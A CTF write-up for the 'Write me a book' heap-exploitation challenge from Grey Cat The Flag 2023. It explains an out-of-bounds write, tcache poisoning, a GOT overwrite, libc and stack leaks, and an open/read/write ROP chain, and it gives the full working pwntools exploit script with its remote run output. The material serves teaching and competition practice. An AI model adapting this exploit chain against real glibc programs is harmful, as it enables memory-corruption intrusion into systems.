Write me a book
Write me a Book 349
Give back to the library! Share your thoughts and experiences!
The flag can be found in /flag
Elma
nc 34.124.157.94 12346
Write me a book is a heap challenge I did during the Grey Cat The Flag 2023 Qualifiers. You can find the tasks and the exploit here.
TL;DR
To manage to read the flag we have to:
- create overlapping chunks due to an oob write vulnerability in
rewrite_books - tcache poisoning thanks to the overlapping chunks
- Overwrite the first entry of
@booksto then be able to rewrite 4 entries of@booksby setting a large size. - With the read / write primitives of
@bookswe leak&stdout@glibcandenviron, this way getting a libc and stack leak. - This way we can simply ROP over a given stackframe.
General overview
Let’s take a look at the protections and the version of the libc:
$ ./libc.so.6GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.Copyright (C) 2022 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 11.2.0.libc ABIs: UNIQUE IFUNC ABSOLUTEFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.$ checksec --file ./libc.so.6[*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledSo a very recent one with standards protections. Then let’s take a look at the binary:
$ checksec --file chall[*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fd000) RUNPATH: b'/home/nasm/Documents/pwn/greycat/writemeabook/dist'$ seccomp-tools dump ./challWelcome to the library of hopes and dreams!
We heard about your journey...and we want you to share about your experiences!
What would you like your author signature to be?> aa
Great! We would like you to write no more than 10 books :)Please feel at home. line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010 0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILLThe binary isn’t PIE based and does have a seccomp that allows only read, write, open and exit. Which will make the exploitation harder (but not that much).
Code review
The main looks like this:
int __cdecl main(int argc, const char **argv, const char **envp){ setup(argc, argv, envp); puts("Welcome to the library of hopes and dreams!"); puts("\nWe heard about your journey..."); puts("and we want you to share about your experiences!"); puts("\nWhat would you like your author signature to be?"); printf("> "); LODWORD(author_signature) = ' yb'; __isoc99_scanf("%12s", (char *)&author_signature + 3); puts("\nGreat! We would like you to write no more than 10 books :)"); puts("Please feel at home."); secure_library(); write_books(); return puts("Goodbye!");}We have to give a signature (12 bytes max) sorted in author_signatures, then the program is allocating a lot of chunks in secure_library. Finally it calls write_books which contains the main logic:
unsigned __int64 write_books(){ int choice; // [rsp+0h] [rbp-10h] BYREF int fav_num; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u); while ( 1 ) { while ( 1 ) { print_menu(); __isoc99_scanf("%d", &choice); getchar(); if ( choice != 1337 ) break; if ( !secret_msg ) { printf("What is your favourite number? "); __isoc99_scanf("%d", &fav_num); if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] ) printf("You found a secret message: %p\n", slot[2 * fav_num - 2]); secret_msg = 1; }LABEL_19: puts("Invalid choice."); } if ( choice > 1337 ) goto LABEL_19; if ( choice == 4 ) return v3 - __readfsqword(0x28u); if ( choice > 4 ) goto LABEL_19; switch ( choice ) { case 3: throw_book(); break; case 1: write_book(); break; case 2: rewrite_book(); break; default: goto LABEL_19; } }}There are basically three handlers:
1337, we can leak only one time the address of a given allocated chunk.4returns.3free a chunk.1add a book.2edit a book.
Let’s take a quick look at each handler, first the free handler:
unsigned __int64 throw_book(){ int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to throw your book?"); printf("Index: "); __isoc99_scanf("%d", &v1); getchar(); if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] ) { free(slot[2 * --v1]); slot[2 * v1] = 0LL; puts("Your book has been thrown!\n"); } else { puts("Invaid slot!"); } return v2 - __readfsqword(0x28u);}It only checks is the entry exists and if the index is in the right range. if it does it frees the entry and zeroes it.
Then, the add handler:
unsigned __int64 write_book(){ int idx2; // ebx _QWORD *v1; // rcx __int64 v2; // rdx int idx; // [rsp+4h] [rbp-4Ch] BYREF size_t size; // [rsp+8h] [rbp-48h] char buf[32]; // [rsp+10h] [rbp-40h] BYREF char v7; // [rsp+30h] [rbp-20h] unsigned __int64 v8; // [rsp+38h] [rbp-18h]
v8 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to insert your book?"); printf("Index: "); __isoc99_scanf("%d", &idx); getchar(); if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] ) { puts("Invaid slot!"); } else { --idx; memset(buf, 0, sizeof(buf)); v7 = 0; puts("Write me a book no more than 32 characters long!"); size = read(0, buf, 0x20uLL) + 0x10; idx2 = idx; slot[2 * idx2] = malloc(size); memcpy(slot[2 * idx], buf, size - 0x10); v1 = (char *)slot[2 * idx] + size - 0x10; v2 = qword_4040D8; *v1 = *(_QWORD *)author_signature; v1[1] = v2; books[idx].size = size; puts("Your book has been published!\n"); } return v8 - __readfsqword(0x28u);}We can allocate a chunk between 0x10 and 0x20 + 0x10 bytes and after we wrote in it the signature initially choose at the begin of the execution is put right after the end of the input.
Finally comes the handler where lies the vuln, the edit handler:
unsigned __int64 rewrite_book(){ _QWORD *v0; // rcx __int64 v1; // rdx int idx; // [rsp+Ch] [rbp-14h] BYREF ssize_t v4; // [rsp+10h] [rbp-10h] unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to rewrite your book?"); printf("Index: "); __isoc99_scanf("%d", &idx); getchar(); if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] ) { --idx; puts("Write me the new contents of your book that is no longer than what it was before."); v4 = read(0, slot[2 * idx], books[idx].size); v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4); v1 = qword_4040D8; *v0 = author_signature; v0[1] = v1; puts("Your book has been rewritten!\n"); } else { puts("Invaid slot!"); } return v5 - __readfsqword(0x28u);}As you can read there is an out of bound write if we input books[idx].size bytes, indeed given the chunk stores only books[idx].size bytes the signature writes over the current chunk. And most of the time on the header (and especially the size) of the next chunk allocated in memory resulting an overlapping chunk.
Exploitation
Given we can get overlapping chunks we’re able to do tcache poisoning on the 0x40 tcachebin (to deeply understand why I advice you to read the exploit and to run it into gdb). At this point we can simply write the first entry of @books that is stored at a fixed memory area within the binary (no PIE). In this new entry we could write a pointer to itself but with a large size in order to be able to write several entries of @books. When it is done we could write these entries:
edit(1, pwn.flat([ # 1== 0xff, # sz exe.sym.stdout, # to leak libc # 2== 0x8, # sz exe.got.free, # to do GOT hiijacking # 3== 0x8, # sz exe.sym.secret_msg, # to be able to print an entry of @books # 4== 0xff, # sz exe.sym.books # ptr to itself to be able to rewrite the entries when we need to do so ] + [0] * 0x60, filler = b"\x00"))This way we can easily leak libc.
Leaking libc
Leaking libc is very easy given we already setup the entries of @books. We can replace free@GOT by puts@plt. This way the next time free will be called on an entry, it will leak the datas towards which the entry points. Which means free(book[1]) leaks the address of stdout within the libc.
STDOUT = 0x21a780
def libc_leak_free(idx): io.sendlineafter(b"Option: ", b"3") io.sendlineafter(b"Index: ", str(idx).encode()) return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT
# [...]
# libc leaklibc.address = libc_leak_free(1)pwn.log.success(f"libc: {hex(libc.address)}")Leaking the stack
Leaking the libc is cool but given the binary has a seccomp we cannot write one_gadgets on __malloc_hook or __free_hook or within the GOT (of the libc or of the binary) because of the seccomp. We have to do a ROPchain, to do so we could use setcontext but for this libc it is made around rdx that we do not control. Or we could simply leak environ to get the address of a stackframe from which we could return. That’s what we gonna do on the rewrite_books stackframe.
def leak_environ(idx): io.sendlineafter(b"Option: ", b"3") io.sendlineafter(b"Index: ", str(idx).encode()) return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))
# leak stack (environ)edit(4, pwn.flat([ # 1== 0xff, # sz libc.sym.environ # target ], filler = b"\x00"))
environ = leak_environ(1)pwn.log.success(f"environ: {hex(environ)}")
stackframe_rewrite = environ - 0x150pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")ROPchain
Everything is ready for the ROPchain, we cannot use mprotect to use a shellcode within the seccomp forbids it. We just have to set the first entry to the stackframe we’d like to hiijack and that’s it, then we just need call edit on this entry and the ROPchain is written and triggered at the return of the function!
rop = pwn.ROP(libc, base=stackframe_rewrite)
# setup the write to the rewrite stackframeedit(4, pwn.flat([ # 1== 0xff, # sz stackframe_rewrite # target ], filler = b"\x00"))
# ROPchainrop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # openrop.call(rop.find_gadget(["syscall", "ret"]))rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # writerop.call(rop.find_gadget(["syscall", "ret"]))rop.exit(0x1337)rop.raw(b"/flag\x00")
print(rop.dump())print(hex(len(rop.chain()) - 8))
# write and trigger the ROPchainedit(1, rop.chain())PROFIT
Finally:
nasm@off:~/Documents/pwn/greycat/writemeabook/dist$ python3 exploit.py REMOTE HOST=34.124.157.94 PORT=12346[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fd000) RUNPATH: b'/home/nasm/Documents/pwn/greycat/writemeabook/dist'[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to 34.124.157.94 on port 12346: Done[+] heap: 0x81a000[*] Encrypted fp: 0x40484d[+] libc: 0x7f162182f000[+] environ: 0x7ffe60582c98[+] stackframe_rewrite: 0x7ffe60582b48[*] Loaded 218 cached gadgets for '/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6'0x7ffe60582b48: 0x7f1621874eb0 pop rax; ret0x7ffe60582b50: 0x2 SYS_open0x7ffe60582b58: 0x7f162185ae51 pop rsi; ret0x7ffe60582b60: 0x0 O_RDONLY0x7ffe60582b68: 0x7f16218593e5 pop rdi; ret0x7ffe60582b70: 0x7ffe60582c28 (+0xb8)0x7ffe60582b78: 0x7f16218c0396 syscall; ret0x7ffe60582b80: 0x7f16218bf528 pop rax; pop rdx; pop rbx; ret0x7ffe60582b88: 0x0 SYS_read0x7ffe60582b90: 0x1000x7ffe60582b98: b'uaaavaaa' <pad rbx>0x7ffe60582ba0: 0x7f162185ae51 pop rsi; ret0x7ffe60582ba8: 0x81a0000x7ffe60582bb0: 0x7f16218593e5 pop rdi; ret0x7ffe60582bb8: 0x30x7ffe60582bc0: 0x7f16218c0396 syscall; ret0x7ffe60582bc8: 0x7f16218bf528 pop rax; pop rdx; pop rbx; ret0x7ffe60582bd0: 0x1 SYS_write0x7ffe60582bd8: 0x1000x7ffe60582be0: b'naaboaab' <pad rbx>0x7ffe60582be8: 0x7f162185ae51 pop rsi; ret0x7ffe60582bf0: 0x81a0000x7ffe60582bf8: 0x7f16218593e5 pop rdi; ret0x7ffe60582c00: 0x10x7ffe60582c08: 0x7f16218c0396 syscall; ret0x7ffe60582c10: 0x7f16218593e5 pop rdi; ret0x7ffe60582c18: 0x1337 [arg0] rdi = 49190x7ffe60582c20: 0x7f16218745f0 exit0x7ffe60582c28: b'/flag\x00' b'/flag\x00'0xde[*] Switching to interactive modeYour book has been rewritten!
grey{gr00m1ng_4nd_sc4nn1ng_th3_b00ks!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb9\x81\x00\x00\x00\xb8\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb1\x81\x00\x00\x00\x00\x00\x00\x00\xc0\x81\x00\[*] Got EOF while reading in interactive$ exit$[*] Closed connection to 34.124.157.94 port 12346[*] Got EOF while sending in interactiveConclusion
That was a nice medium heap challenge, even though that was pretty classic. You can find the tasks and the exploit here.
Annexes
Final exploit (with comments):
#!/usr/bin/env python# -*- coding: utf-8 -*-
# this exploit was generated via# 1) pwntools# 2) ctfmate
import osimport timeimport pwn
BINARY = "chall"LIBC = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6"LD = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2"
# Set up pwntools for the correct architectureexe = pwn.context.binary = pwn.ELF(BINARY)libc = pwn.ELF(LIBC)ld = pwn.ELF(LD)pwn.context.terminal = ["tmux", "splitw", "-h"]pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = Falsep64 = pwn.p64u64 = pwn.u64p32 = pwn.p32u32 = pwn.u32p16 = pwn.p16u16 = pwn.u16p8 = pwn.p8u8 = pwn.u8
host = pwn.args.HOST or '127.0.0.1'port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if pwn.args.GDB: return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = pwn.connect(host, port) if pwn.args.GDB: pwn.gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if pwn.args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''source /home/nasm/Downloads/pwndbg/gdbinit.py'''.format(**locals())
HEAP_OFFT = 0x3d10CHUNK3_OFFT = 0x3d50STDOUT = 0x21a780
def encode_ptr(heap, offt, value): return ((heap + offt) >> 12) ^ value
import subprocessdef one_gadget(filename): return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
def exp():
io = start()
def init(flip): io.sendlineafter(b"> ", flip)
def add(idx, data: bytes): io.sendlineafter(b"Option: ", b"1") io.sendlineafter(b"Index: ", str(idx).encode()) io.sendlineafter(b"Write me a book no more than 32 characters long!\n", data)
def edit(idx, data): io.sendlineafter(b"Option: ", b"2") io.sendlineafter(b"Index: ", str(idx).encode()) io.sendlineafter(b"Write me the new contents of your book that is no longer than what it was before.\n", data)
def free(idx): io.sendlineafter(b"Option: ", b"3") io.sendlineafter(b"Index: ", str(idx).encode())
def heapLeak(idx): io.sendlineafter(b"Option: ", b"1337") io.sendlineafter(b"What is your favourite number? ", str(idx).encode()) io.recvuntil(b"You found a secret message: ") return int(io.recvline().replace(b"\n", b"").decode(), 16) - HEAP_OFFT
def enable_print(idx): edit(idx, b"".join([ pwn.p64(0) ]))
def libc_leak_free(idx): io.sendlineafter(b"Option: ", b"3") io.sendlineafter(b"Index: ", str(idx).encode()) return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT
def leak_environ(idx): io.sendlineafter(b"Option: ", b"3") io.sendlineafter(b"Index: ", str(idx).encode()) return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))
init(b"m"*4 + pwn.p8(0x41))
add(1, b"K"*0x10) heap_leak = heapLeak(1) pwn.log.success(f"heap: {hex(heap_leak)}")
# victim add(2, b"") add(3, b"".join([ b"A"*0x10, pwn.p64(0), # prev_sz pwn.p64(0x21) # fake size ]))
add(4, b"".join([ b"A"*0x10, pwn.p64(0), # prev_sz pwn.p64(0x21) # fake size ])) free(4) # count for 0x40 tcachebin = 1
# chunk2 => sz extended edit(1, b"K"*0x20) # chunk2 => tcachebin 0x40, count = 2 free(2)
# oob write over chunk3, we keep valid header add(2, b"".join([ pwn.p64(0)*3, pwn.p64(0x41) # valid size to end up in the 0x40 tcache bin ])) # count = 1
# chunk3 => 0x40 tcachebin, count = 2 free(3)
pwn.log.info(f"Encrypted fp: {hex(encode_ptr(heap_leak, CHUNK3_OFFT, exe.got.printf))}")
# tcache poisoning edit(2, b"".join([ pwn.p64(0)*3, pwn.p64(0x41), # valid size pwn.p64(encode_ptr(heap_leak, CHUNK3_OFFT, exe.sym.books)) # forward ptr ]))
# dumb add(3, b"A"*0x20) # count = 1
# arbitrary write to @books, this way books[1] is user controlled add(4, b"".join([ pwn.p64(0x1000), # sz pwn.p64(exe.sym.books), # target b"P"*0x10 ])) # count = 0
# we can write way more due to the previous call edit(1, pwn.flat([ # 1== 0xff, # sz exe.sym.stdout, # target # 2== 0x8, # sz exe.got.free, # target # 3== 0x8, # sz exe.sym.secret_msg, # target # 4== 0xff, # sz exe.sym.books # target ] + [0] * 0x60, filler = b"\x00"))
# free@got => puts edit(2, b"".join([ pwn.p64(exe.sym.puts) ]))
# can print = true enable_print(3)
# libc leak libc.address = libc_leak_free(1) pwn.log.success(f"libc: {hex(libc.address)}")
# leak stack (environ) edit(4, pwn.flat([ # 1== 0xff, # sz libc.sym.environ # target ], filler = b"\x00"))
environ = leak_environ(1) pwn.log.success(f"environ: {hex(environ)}")
stackframe_rewrite = environ - 0x150 pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")
rop = pwn.ROP(libc, base=stackframe_rewrite)
# setup the write to the rewrite stackframe edit(4, pwn.flat([ # 1== 0xff, # sz stackframe_rewrite # target ], filler = b"\x00"))
# ROPchain rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open rop.call(rop.find_gadget(["syscall", "ret"])) rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ... rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write rop.call(rop.find_gadget(["syscall", "ret"])) rop.exit(0x1337) rop.raw(b"/flag\x00")
print(rop.dump()) print(hex(len(rop.chain()) - 8))
# write and trigger the ROPchain edit(1, rop.chain())
io.interactive()
if __name__ == "__main__": exp()